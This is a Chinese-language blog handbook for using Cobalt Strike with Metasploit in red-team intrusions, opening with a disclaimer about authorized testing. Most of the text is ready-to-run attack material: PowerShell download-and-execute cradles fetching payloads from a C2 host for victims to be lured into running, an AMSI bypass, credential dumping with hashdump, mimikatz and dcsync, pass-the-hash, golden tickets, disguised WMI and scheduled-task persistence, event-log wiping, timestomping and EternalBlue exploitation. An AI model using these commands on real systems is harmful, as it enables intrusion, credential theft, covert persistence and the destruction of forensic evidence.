【红队渗透】Cobalt Strike(CS)红队详细用法实战手册

Cobalt Strike(CS)红队实战手册

安全提示与职业操守

做渗透测试,必须严格遵守以下原则:

  1. 合法授权 :仅在书面授权的范围内使用 sqlmap,禁止未授权测试;
  2. 最小影响 :避免使用高风险参数(如sqlmap工具的 --risk=3--os-shell),防止目标服务崩溃;
  3. 数据保护:枚举到的敏感数据(如用户密码)需严格保密,测试后立即删除;
  4. 留痕清理:测试结束后,协助目标清除测试留下的日志、文件等痕迹。

免责声明

  1. 本文所述所有渗透测试技术、工具、命令及实战案例,仅适用于已获得目标系统 / 网络所有者书面授权的测试场景(如企业内部安全评估、甲方委托的红队测试、个人合法拥有的实验环境)。
  2. 任何组织或个人若未取得明确书面授权,擅自将本文内容用于对第三方系统 / 网络的扫描、探测、攻击等行为,均属于非法网络活动,涉嫌违反《中华人民共和国网络安全法》《中华人民共和国刑法》(第 285 条 "非法侵入计算机信息系统罪"、第 286 条 "破坏计算机信息系统罪")及《网络安全审查办法》等法律法规,作者对此类非法行为不承担任何责任,相关法律后果由行为人自行承担。
  3. 本文分享的渗透测试技术,核心目的是帮助读者 "理解攻击原理,进而构建更有效的防御体系"------ 渗透测试的本质是 "以攻促防",而非 "指导攻击"。
  4. 网络安全行业的核心伦理是 "保护而非破坏":所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
  5. 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
  6. 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。

一、CS 核心定位与 MSF 协同逻辑、红队角色分工

核心定位

Cobalt Strike 是红队专属的协同式渗透测试 C2(Command & Control)平台 ,主打隐蔽化长期控制、域环境深度渗透、团队协同作战、流量伪装免查杀,是红队内网渗透、护网行动的核心控制中枢。

与 MSF 的角色分工

工具 核心定位 红队核心优势
CS 长期 C2 控制、后渗透全流程、团队协同 流量可控、免杀适配性强、域渗透工具链完善、支持多人协同、隐蔽通信能力强
MSF 外网打点、漏洞利用、快速扫描、小众模块覆盖 漏洞利用模块数量极多、更新快、适合快速打点拿初始权限、Payload 生成灵活

红队实战协同逻辑

  1. 外网打点阶段:用 MSF 扫描漏洞、利用 CVE 拿初始 shell/meterpreter 会话;
  2. 权限迁移阶段:将 MSF 的会话迁移到 CS,转为 Beacon 会话,利用 CS 的隐蔽通信做长期控制;
  3. 内网渗透阶段:用 CS 做信息收集、提权、横向移动、域控渗透;遇到 CS 无覆盖的漏洞利用模块,将 Beacon 会话派生回 MSF 调用对应模块;
  4. 收尾阶段:用 CS 做持久化、痕迹清理,完成攻击链闭环。

二、监听器(Listener)配置方法、核心参数、实战示例

监听器是 CS 接收 Beacon 回连的核心组件,分为Internal(CS 自身处理回连)Foreign(外部监听器,如 MSF,用于会话派生) 两大类。

核心参数全称与红队实战作用

参数全称 红队核心作用
Payload Type 载荷类型,分Staged(分阶段)和Stageless(无阶段),决定 Payload 的加载方式
HTTP Hosts Beacon 回连的目标域名 / IP,支持多个,红队用于域名前置、CDN 节点隐藏真实 C2 IP
HTTP Port Beacon 回连端口,红队优先用 80/443/53,伪装正常流量,避免默认端口 50050
HTTP Host Header HTTP 请求的 Host 字段,用于域名前置、CDN 适配,伪装正常网站请求,绕过 WAF / 流量审计
HTTPS Certificate HTTPS 监听器的 SSL 证书,红队必须用正规 CA 签发证书,避免自签名证书被流量审计拦截
DNS Hosts DNS 监听器的域名,必须是 NS 记录指向 C2 服务器的域名,用于 HTTP/HTTPS 被封禁的极端场景
Beacon Type Beacon 通信类型,外网优先HTTPS,内网横向优先SMB/TCP
Proxy Beacon 回连的代理配置,用于隐藏 C2 真实 IP,支持 Socks4/5

红队实战配置示例

1. HTTPS 监听器(外网首选,隐蔽性最强)

配置步骤

  1. CS 客户端 → ListenersAdd

  2. 核心参数配置:

    • Payload Typewindows/beacon_reverse_https(Stageless,无阶段)
    • NameHTTPS-C2-01(自定义名称)
    • HTTP Hostsc2.redteam.com(域名解析到 CDN 节点,做域名前置)
    • HTTP Port443
    • HTTP Host Headerwww.aliyuncs.com(伪装阿里云请求,域名前置用)
    • HTTPS Certificate:选择正规 CA 签发的c2.redteam.com证书(pem 格式)
    • TCP Port443(与 HTTP Port 一致)
  3. 点击Save完成启动。

红队注意点:必须用正规 SSL 证书,自签名证书 100% 被流量审计标记;HTTP Hosts 用 CDN / 域名前置隐藏真实 C2 IP,避免溯源。

2. Foreign 监听器(MSF 联动专用)

配置步骤

  1. MSF 中先启动监听:

    复制代码
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_https
    set LHOST 192.168.1.200
    set LPORT 8443
    set ExitOnSession false
    exploit -j -z
  2. CS 中 Add Listener:

    • Payload TypeForeign HTTPS
    • NameMSF-Listener
    • Host192.168.1.200
    • Port8443
    • Payloadwindows/x64/meterpreter/reverse_https(与 MSF 完全一致)
  3. 点击Save完成,用于 CS 会话派生到 MSF。

Staged 与 Stageless Payload 红队选择建议

类型 核心原理 红队适用场景 优势 劣势
Staged(分阶段) 分两阶段:极小的 stager 先执行,再从 C2 下载完整 Beacon 内网横向移动、钓鱼宏、漏洞利用 shellcode 注入 体积极小,适配性强,不易被静态查杀 依赖网络,stager 下载失败则无法回连,流量特征易被检测
Stageless(无阶段) 完整 Beacon 代码全部打包,执行后直接回连 C2 外网初始投递、社工钓鱼 exe、U 盘木马 回连稳定,不依赖分阶段下载,免杀适配性强 体积略大(约 300KB),静态免杀难度略高

红队选择规则

  • 外网初始投递、社工钓鱼:优先Stageless,回连稳定,免杀可控;
  • 内网横向移动、漏洞利用、宏注入:优先Staged,体积小,适配性强;
  • 护网高风险环境:优先HTTPS Stageless + Malleable C2,流量伪装最完善。

三、Payload 生成方法、核心参数、实战用法

CS Payload 生成核心在Attacks菜单,红队高频 5 大类,核心参数与实战用法如下:

核心参数全称与作用

参数全称 红队核心作用
x86 / x64 目标系统架构,红队首选 x64,适配 Win10/11/Server 2016+
Stageless 无阶段完整 Payload,外网投递必选
Staged 分阶段 Payload,横向移动必选
Block DLLs 阻止非微软签名的 DLL 注入 Beacon 进程,免杀必选,阻止 EDR 监控
Obfuscate Scrimmage 混淆 Beacon 的 stager 代码,免杀必选,打乱特征
Start RWX 启动时分配可读可写可执行内存页,仅老系统兼容用,新系统禁用,易被查杀

红队实战生成示例

1. 免杀 Stageless EXE Payload(外网投递首选)
复制代码
操作路径:Attacks→Packages→Windows Executable (S)
配置参数:
- Listener:HTTPS-C2-01
- Output:Windows EXE
- Architecture:x64
- 勾选Stageless
- 勾选Block DLLs
- 勾选Obfuscate Scrimmage
- 不勾选Start RWX
点击Generate,保存为office_update.exe

红队注意点:生成后禁止上传 virustotal,会导致特征被收录;仅用本地工具做免杀二次处理。

2. 无文件落地 PowerShell Payload(SWD,社工首选)
复制代码
操作路径:Attacks→Web Drive-by→Scripted Web Delivery (S)
配置参数:
- Listener:HTTPS-C2-01
- Payload:PowerShell
- Local Host:192.168.1.200
- Local Port:443
- URI Path:/windows/update
- 勾选x64
- 勾选Use HTTPS
点击Launch,生成执行命令:

powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://192.168.1.200/windows/update'))"

红队用法:社工诱导目标执行,无文件落地,直接内存执行,绕过静态查杀。


四、Beacon 核心交互命令(红队高频)

所有命令标注参数全称、用法、实战示例、使用时机、注意事项,无冗余内容。

一、基础管理类(会话控制 + 隐蔽通信)

1. sleep
  • 参数全称sleep [sleep_time] [jitter_percent]

  • 参数含义:

    • sleep_time:Beacon 睡眠时间(秒),两次回连 C2 的间隔;
    • jitter_percent:抖动百分比(0-99),睡眠时间的随机浮动比例,避免固定间隔流量特征。
  • 实战示例:

    复制代码
    # 初始会话隐蔽优先:60秒间隔,20%抖动
    sleep 60 20
    # 操作阶段实时优先:5秒间隔,10%抖动
    sleep 5 10
    # 长期潜伏极致隐蔽:300秒间隔,50%抖动
    sleep 300 50
  • 使用时机:

    • 刚拿到初始会话,必须先执行sleep 60 20,避免高频回连被检测;
    • 操作时调小 sleep,操作完立刻调大,降低被检测概率。
  • 注意事项:必须加 jitter 参数,固定间隔回连 100% 被流量审计标记;护网非操作时段 sleep 不低于 60 秒。

2. migrate
  • 参数全称migrate [pid] / migrate -n [process_name]

  • 参数含义:

    • pid:目标进程 PID;
    • -n --process_name:目标进程名称,无需查 PID,快捷迁移。
  • 实战示例:

    复制代码
    # 查看进程列表
    ps
    # 迁移到PID 1234的explorer.exe
    migrate 1234
    # 红队首选:直接按名称迁移到explorer.exe
    migrate -n explorer.exe
    # SYSTEM权限会话首选:迁移到svchost.exe
    migrate -n svchost.exe
  • 使用时机:

    • 拿到初始会话后,第一时间迁移,避免初始进程被关闭导致会话丢失;
    • 提权后迁移到 SYSTEM 权限的系统进程,稳定不掉线。
  • 注意事项 :必须迁移到同架构、同权限的进程,否则会话直接崩溃;禁止迁移到 cmd/powershell 等短期进程。

3. exit
  • 参数全称exit
  • 作用:正常终止 Beacon 会话,清理内存痕迹,安全退出。
  • 使用时机:攻击结束,终止会话时。
  • 注意事项:禁止直接关闭 Beacon 窗口,必须用 exit 正常退出,避免留下痕迹。

二、信息收集类(内网渗透必备)

1. sysinfo
  • 参数全称sysinfo
  • 作用:查看目标系统版本、架构、主机名、域信息、补丁版本。
  • 使用时机:拿到会话后第一时间执行,确认目标环境,为提权、横向移动做准备。
  • 注意事项:输出的补丁信息用于匹配对应提权 CVE 编号。
2. ipconfig
  • 参数全称ipconfig / ipconfig /all
  • 作用:查看网卡信息、IP、网关、DNS、域控 IP,定位内网网段。
  • 使用时机:初始信息收集,横向移动前确认内网网段、域控 IP(DNS 服务器 IP 大概率是域控)。
3. portscan
  • 参数全称portscan [target_range] [ports] [options]

  • 参数含义:

    • target_range:目标 IP / 网段;
    • ports:扫描端口;
    • --arp:ARP 扫描,更隐蔽快速;
    • --threads:扫描线程数。
  • 实战示例:

    复制代码
    # 快速扫描内网445、3389端口,ARP扫描,10线程
    portscan 192.168.1.0/24 445,3389 --arp --threads 10
  • 使用时机:横向移动前,扫描存活主机和开放服务。

  • 注意事项:护网场景禁止全端口大网段扫描,极易触发告警,线程数不超过 10。

4. net user / net group
  • 核心用法:

    复制代码
    # 查看本地管理员组
    net localgroup administrators
    # 查看域管理员组成员(域渗透核心)
    net group "Domain Admins" /domain
    # 查看域内所有用户
    net user /domain
  • 使用时机:提权后,域渗透信息收集,定位高权限用户。

  • 注意事项 :必须是域用户权限才能执行/domain命令。


三、权限操作类(提权核心)

1. getuid
  • 参数全称getuid
  • 作用:查看当前会话的运行用户,确认权限级别。
  • 使用时机:提权操作前后,确认权限是否提升成功。
  • 注意事项 :输出NT AUTHORITY\SYSTEM即为系统最高权限。
2. getsystem
  • 参数全称getsystem [technique_number]

  • 参数含义:

    复制代码
    technique_number

    为提权技术编号(1-4),不指定则自动尝试所有技术:

    • 1:Named Pipe Impersonation(命名管道模拟,最常用);
    • 2:Service Creation(服务创建);
    • 3:Token Duplication(令牌复制);
    • 4:RPCSS Named Pipe Impersonation。
  • 实战示例:

    复制代码
    # 自动尝试所有提权技术,红队首选
    getsystem
    # 仅用技术1提权,最稳定
    getsystem 1
  • 使用时机:拿到本地管理员权限后,提权到 SYSTEM。

  • 注意事项 :必须是已提升的本地管理员权限(UAC 已绕过),未提升的过滤令牌权限必然失败。

3. bypassuac
  • 参数全称bypassuac [listener_name]

  • 参数含义listener_name为监听器名称,用于回弹高权限会话。

  • 作用:绕过 Windows UAC,将未提升的管理员权限转为完整管理员权限,为 getsystem 做准备。

  • 实战示例:

    复制代码
    bypassuac HTTPS-C2-01
  • 使用时机:getsystem 失败,当前会话是未提升的管理员权限时。

  • 注意事项:仅适用于本地管理员组用户,普通用户无法绕过;执行成功后会回弹新的高权限会话。

4. hashdump
  • 参数全称hashdump
  • 作用:导出目标本地 SAM 数据库的用户 NTLM 哈希,用于哈希传递(PTH)横向移动。
  • 使用时机:提权到 SYSTEM 后,导出哈希用于横向移动。
  • 注意事项:必须是 SYSTEM 权限才能执行;域控上执行可导出所有域用户哈希。
5. logonpasswords
  • 参数全称logonpasswords
  • 作用:调用 mimikatz,导出内存中的明文密码、NTLM 哈希、域凭据、Kerberos 票据。
  • 使用时机:提权到 SYSTEM 后,抓取域管理员凭据。
  • 注意事项:高版本 Defender/EDR 会拦截,执行前先绕过 AMSI。

四、横向移动类(域渗透核心)

1. pth(哈希传递)
  • 参数全称pth [domain] [username] [ntlm_hash]

  • 参数含义:

    • domain:目标域名,本地用户用.
    • username:目标用户名;
    • ntlm_hash:用户 NTLM 哈希。
  • 实战示例:

    复制代码
    # 本地管理员哈希传递
    pth . Administrator 31d6cfe0d16ae931b73c59d7e0c089c0
    # 域用户哈希传递
    pth REDTEAM.LOCAL admin 31d6cfe0d16ae931b73c59d7e0c089c0
  • 使用时机:拿到用户 NTLM 哈希后,无需明文密码直接横向移动。

  • 注意事项:目标必须开启 445 端口 SMB 服务,防火墙放行。

2. psexec
  • 参数全称psexec [target_host] [listener_name] [options]

  • 参数含义:

    • target_host:目标 IP / 主机名;
    • listener_name:监听器名称;
    • -h:使用当前令牌;
    • -u/-p:指定用户名 / 密码 / 哈希;
    • -64:64 位 Payload。
  • 实战示例:

    复制代码
    # 用当前令牌横向到域控192.168.1.10
    psexec 192.168.1.10 HTTPS-C2-01 -h -64
  • 使用时机:拿到目标管理员权限后,横向获取会话。

  • 注意事项:护网场景 psexec 易触发告警,优先用 winrm/wmi 替代。


五、红队经典实战案例(2 个完整可复现)

案例 1:Windows 10 初始访问→提权→持久化→痕迹清理全流程

场景:目标 Win10 21H2,IP 192.168.1.100,本地管理员权限初始 Beacon 会话;攻击机 CS IP 192.168.1.200;核心目标:提权 SYSTEM、持久化、清理痕迹。

步骤 1:初始会话隐蔽化
复制代码
# 调整回连频率,隐蔽优先
sleep 60 20
# 确认权限和系统信息
getuid
sysinfo
# 迁移进程到explorer.exe,避免掉线
migrate -n explorer.exe
步骤 2:UAC 绕过 + 提权 SYSTEM
复制代码
# 绕过UAC,回弹高权限会话
bypassuac HTTPS-C2-01
# 进入新会话,提权到SYSTEM
sessions -i 2
getsystem
# 确认提权成功
getuid
# 迁移到SYSTEM权限的svchost.exe
migrate -n svchost.exe
步骤 3:信息收集 + 密码抓取
复制代码
# 查看网卡信息
ipconfig /all
# 导出本地用户哈希
hashdump
# 绕过AMSI,抓取明文密码
powershell-import AMSI_Bypass.ps1
powershell AMSI_Bypass
logonpasswords
步骤 4:持久化配置
复制代码
# 计划任务持久化,SYSTEM权限开机自启
shell schtasks /create /tn "Windows Security Update" /tr "C:\Windows\Temp\office_update.exe" /sc onstart /ru SYSTEM /f
# 上传Payload到目标路径
upload /root/office_update.exe C:\Windows\Temp\office_update.exe
步骤 5:痕迹清理
复制代码
# 清空三大事件日志
clearev
# 伪造Payload时间戳,伪装成系统文件
timestomp C:\Windows\Temp\office_update.exe -f C:\Windows\System32\notepad.exe
# 清除PowerShell历史
shell del %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 正常退出
exit

案例 2:域环境横向移动到域控全流程

场景:已拿到员工主机 Win10(192.168.1.100)SYSTEM 权限 Beacon,域 REDTEAM.LOCAL;域控 DC01,IP 192.168.1.10;核心目标:抓取域管理员凭据,横向到域控,域环境持久化。

步骤 1:域环境信息收集
复制代码
# 确认域控IP(DNS服务器地址)
ipconfig /all
# 查看域管理员组成员
net group "Domain Admins" /domain
# 扫描内网存活主机
portscan 192.168.1.0/24 445,3389 --arp --threads 10
步骤 2:抓取域管理员凭据
复制代码
# 查看登录用户,确认域管理员是否登录过
net logons
# 绕过AMSI,抓取内存中的域管理员哈希
powershell-import AMSI_Bypass.ps1
powershell AMSI_Bypass
logonpasswords
步骤 3:哈希传递 + 横向到域控
复制代码
# 哈希传递,获取域管理员权限令牌
pth REDTEAM.LOCAL admin 31d6cfe0d16ae931b73c59d7e0c089c0
# 进入域管理员权限会话,psexec横向到域控
sessions -i 3
psexec 192.168.1.10 HTTPS-C2-01 -h -64
步骤 4:域控权限操作 + 持久化
复制代码
# 进入域控会话,提权SYSTEM
sessions -i 4
getsystem
# 导出域内所有用户哈希(dcsync)
dcsync
# 黄金票据持久化,永久域管理员权限
kerberos::golden /user:Administrator /domain:REDTEAM.LOCAL /sid:S-1-5-21-123456789-1234567890-1234567890 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt
步骤 5:痕迹清理
复制代码
# 清空域控事件日志
clearev
# 清除PowerShell历史
shell del %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 正常退出
exit

六、红队进阶实战技巧

一、隐蔽通信技巧

技巧 1:Malleable C2 流量伪装(护网必用)
  • 核心作用:自定义 Beacon 通信流量,伪装成正常网站请求,绕过流量审计 / WAF。

  • 操作步骤:

    1. 编写 Malleable C2 配置文件(伪装阿里云 OSS 流量),示例核心片段:

      set sleeptime "60000";
      set jitter "20";
      set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
      http-get {
      set uri "/oss/update/";
      client {
      header "Host" "oss-cn-beijing.aliyuncs.com";
      metadata { base64url; prepend "user="; header "Cookie"; }
      }
      server {
      header "Content-Type" "text/html; charset=utf-8";
      output { base64; prepend "<html><body>

      404 Not Found

      </body></html>"; }
      }
      }

    2. 启动 Team Server 时加载配置:

      ./teamserver 192.168.1.200 redteam@2024 aliyun.profile

  • 适用场景:护网高风险环境,极致流量隐蔽;

  • 避坑点:必须用 c2lint 工具校验配置,否则会导致 Beacon 无法回连。

技巧 2:SMB Beacon 内网隐蔽通信
  • 核心作用:内网横向用 SMB 协议 Beacon,流量通过命名管道传输,仅跳板机和 C2 通信,内网审计设备无法检测。
  • 操作步骤:
    1. 创建 SMB 监听器:Payload Type=windows/beacon_smb/bind_pipePipe Name=msrpc_445
    2. 横向移动时选择 SMB 监听器,目标主机 Beacon 仅通过跳板机和 C2 通信。
  • 适用场景:内网横向,目标无法直接访问外网 C2;
  • 避坑点:跳板机掉线会导致所有 SMB 会话丢失,必须保证跳板机稳定。

二、免杀进阶技巧

技巧 1:Block DLLs + AMSI 绕过 + 进程注入免杀
  • 核心作用:阻止 EDR 的 DLL 注入监控,绕过 AMSI 检测,免杀率 90%+。

  • 操作步骤:

    1. 生成 Payload 时勾选Block DLLsObfuscate Scrimmage,不勾选Start RWX

    2. 用 C 语言写加载器,将 Beacon shellcode 注入到 notepad.exe 内存执行;

    3. 执行前先运行 AMSI 绕过脚本:

      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue(null,true)

  • 适用场景:目标开启 Defender/EDR,基础 Payload 被查杀。

技巧 2:无文件落地 SWD Payload
  • 核心作用:Payload 不写入硬盘,直接内存执行,绕过静态查杀。

  • 操作步骤:

    1. CS 创建 SWD 监听器,生成 PowerShell Payload;

    2. 混淆 PowerShell 代码,社工诱导目标执行:

      powershell -nop -exec bypass -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://c2.redteam.com/update'))"

  • 适用场景:目标有严格文件监控,无法上传 exe。


三、持久化技巧

技巧 1:WMI 事件订阅持久化(无文件,极难发现)
  • 核心作用:通过 WMI 事件订阅实现开机自启,无文件、无注册表、无计划任务,长期潜伏首选。

  • 操作步骤:Beacon 中执行 PowerShell 命令:

    复制代码
    $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
        Name = "Windows Health Check";
        EventNamespace = "root\CIMV2";
        QueryLanguage = "WQL";
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_OperatingSystem'";
    }
    $consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
        Name = "Windows Health Check";
        CommandLineTemplate = "C:\Windows\Temp\office_update.exe";
    }
    Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
        Filter = $filter;
        Consumer = $consumer;
    }
  • 适用场景:长期潜伏,极致隐蔽;

  • 避坑点:事件名称必须伪装成系统正常名称,避免被发现。

技巧 2:黄金票据域环境持久化
  • 核心作用:伪造 krbtgt 的 TGT 票据,拥有域内所有主机管理员权限,有效期默认 10 年。

  • 操作步骤:

    1. 域控上执行dcsync,获取域 SID、krbtgt 的 NTLM 哈希;

    2. 生成黄金票据注入内存:

      kerberos::golden /user:Administrator /domain:REDTEAM.LOCAL /sid:S-1-5-21-123456789-1234567890-1234567890 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt

  • 适用场景:域环境长期控制;

  • 避坑点:不要频繁用黄金票据访问域控,易触发告警,优先用白银票据访问指定服务。


四、痕迹清理进阶技巧

技巧 1:单条事件日志删除(不触发告警)
  • 核心作用:仅删除攻击相关的单条日志,不全量清空,避免触发蓝队告警。

  • 操作步骤:

    复制代码
    # 查看攻击相关的事件ID,记录EventRecordID
    shell wevtutil qe Security /q:"*[System[EventID=4688]]" /f:text /c:10
    # 删除指定RecordID的日志
    powershell $recordId=12345; $log=New-Object System.Diagnostics.Eventing.Reader.EventLogSession("localhost"); $log.ClearLog("Security", "*[System/EventRecordID!=$recordId]")
  • 适用场景:护网场景,不能全量清空日志;

  • 避坑点:Win10 家庭版不支持单条删除,仅专业版 / 服务器版可用。

技巧 2:文件时间戳伪造(timestomp)
  • 核心作用:伪造恶意文件的创建 / 修改 / 访问时间,和系统原生文件一致,绕过 EDR 新文件检测。

  • 操作步骤:

    复制代码
    # 将恶意文件时间戳伪装成和notepad.exe完全一致
    timestomp C:\Windows\Temp\office_update.exe -f C:\Windows\System32\notepad.exe
    # 验证修改结果
    timestomp C:\Windows\Temp\office_update.exe -v
  • 适用场景:所有文件落地场景,必做操作。


七、高频异常问题排查

异常 1:Beacon 无法回连监听器

原因排查(按顺序):
  1. Payload 与监听器配置(类型、IP、端口、协议)不匹配;
  2. 目标 / 攻击机防火墙拦截了对应端口;
  3. 目标无法访问 C2 IP / 端口(网络不通);
  4. HTTPS 证书无效,自签名证书被拦截;
  5. Malleable C2 配置错误;
  6. Payload 被杀毒软件查杀。
解决方案:
复制代码
# 1. C2服务器放行端口
ufw allow 443/tcp
# 2. 目标主机测试端口连通性
Test-NetConnection 192.168.1.200 -Port 443
# 3. 重新生成与监听器完全匹配的Payload
# 4. 用正规CA证书配置HTTPS监听器
# 5. 用c2lint校验Malleable C2配置
避坑技巧:优先用 443/80/53 端口,拦截率极低;外网 C2 必须用域名 + CDN,避免 IP 被封禁。

异常 2:getsystem 提权失败

原因排查:
  1. 当前会话不是本地管理员权限;
  2. UAC 未绕过,权限是过滤令牌;
  3. 系统补丁修复了 getsystem 用到的提权技术;
  4. 安全软件拦截了提权操作。
解决方案:
复制代码
# 1. 先绕过UAC,获取完整管理员权限
bypassuac HTTPS-C2-01
# 2. 进入新会话,用技术1提权
sessions -i 2
getsystem 1
# 3. 若失败,用对应系统版本的CVE提权漏洞(如PrintNightmare)
避坑技巧:getsystem 仅能从已提升的管理员权限提权,普通用户无法使用;Win11 默认 bypassuac 失效,需用更高级的绕过方法。

异常 3:psexec 横向移动失败

原因排查:
  1. 目标 445 端口未开放,SMB 服务未开启;
  2. 目标 Admin$ 共享未开启;
  3. 当前无目标的管理员权限;
  4. 目标开启 UAC 远程限制;
  5. 防火墙拦截了 SMB 流量。
解决方案:
复制代码
# 1. 优先用更隐蔽的winrm替代psexec
winrm 192.168.1.10 HTTPS-C2-01 -h -64
# 2. 关闭目标UAC远程限制
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# 3. 哈希传递后再执行psexec
pth . Administrator 31d6cfe0d16ae931b73c59d7e0c089c0
psexec 192.168.1.101 HTTPS-C2-01 -h -64
避坑技巧:护网场景 psexec 易触发告警,优先用 winrm/wmi 横向。

八、MSF 与 CS 联动详细用法

场景 1:MSF 初始打点→会话迁移到 CS(最常用)

适用场景:MSF 拿初始 meterpreter 会话,转到 CS 做长期控制。

步骤 1:CS 创建 Foreign 监听器
复制代码
Payload Type:Foreign HTTP
Name:MSF-to-CS
Host:192.168.1.200
Port:8443
Payload:windows/x64/meterpreter/reverse_http
步骤 2:MSF 拿到初始 meterpreter 会话
复制代码
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
exploit -j -z
sessions -i 1
步骤 3:MSF 将会话迁移到 CS
复制代码
# 挂起会话,回到msfconsole
background
use exploit/windows/local/payload_inject
# 配置与CS Foreign监听器完全一致
set PAYLOAD windows/x64/meterpreter/reverse_http
set LHOST 192.168.1.200
set LPORT 8443
set SESSION 1
set DisablePayloadHandler true
# 执行注入
exploit
结果:CS 收到目标回弹的 Beacon 会话。

场景 2:CS Beacon 派生到 MSF(用 MSF 模块攻击)

适用场景:CS 拿到会话后,用 MSF 的漏洞利用模块。

步骤 1:MSF 开启监听
复制代码
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.200
set LPORT 9443
set ExitOnSession false
exploit -j -z
步骤 2:CS 派生会话到 MSF
复制代码
# Beacon中执行,MSF-Listener为之前创建的Foreign监听器
spawn MSF-Listener
结果:MSF 收到 meterpreter 会话,可调用 MSF 模块进行攻击。

场景 3:CS 与 MSF Socks 代理联动(内网穿透)

适用场景:CS 拿到内网会话,开启 Socks 代理,MSF 通过代理扫描 / 攻击内网。

步骤 1:CS 开启 Socks 代理
复制代码
# Beacon中执行,开启Socks4代理,端口1080
socks 1080
步骤 2:MSF 配置全局代理
复制代码
msfconsole -q
# 配置全局Socks代理,指向CS的IP和端口
setg Proxies socks4:192.168.1.200:1080
setg LHOST 192.168.1.200
# 扫描内网网段
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 445,3389
set THREADS 10
run
步骤 3:MSF 通过代理攻击内网主机
复制代码
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.101
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 5555
exploit
联动避坑技巧:
  • Payload 类型、IP、端口必须 100% 匹配,否则无法回弹;
  • Socks 代理必须用 TCP 全连接扫描(nmap -sT),禁止 SYN 扫描;
  • 扫描线程数不超过 10,避免会话卡顿掉线。
相关推荐
Arya_aa2 小时前
编程题:实现汽车租赁公司汽车出租方案
java
Project_Observer2 小时前
任务条件布局规则如何帮助自动管理任务?
大数据·数据结构·人工智能·深度学习·机器学习·编辑器
geovindu2 小时前
python: Adapter Pattern
java·python·设计模式·适配器模式
舟舟亢亢2 小时前
算法总结—【动态规划一维、二维、状态压缩】
算法·动态规划
蜜獾云2 小时前
设计模式之工厂方法模式(5):稍微复杂一点的工厂模式
java·设计模式·工厂方法模式
宵时待雨2 小时前
C++笔记归纳9:模板进阶
开发语言·数据结构·c++·笔记
重生之后端学习2 小时前
152. 乘积最大子数组
数据结构·算法·leetcode·职场和发展·动态规划
Voyager_42 小时前
吃透设计模式:从原理到落地(如何选型),Java/Spring开发场景
java·spring·设计模式
技术人生黄勇2 小时前
微信接入|企业微信官方插件支持 OpenClaw 3步快速接入(实操版)
java·前端·人工智能·微信·企业微信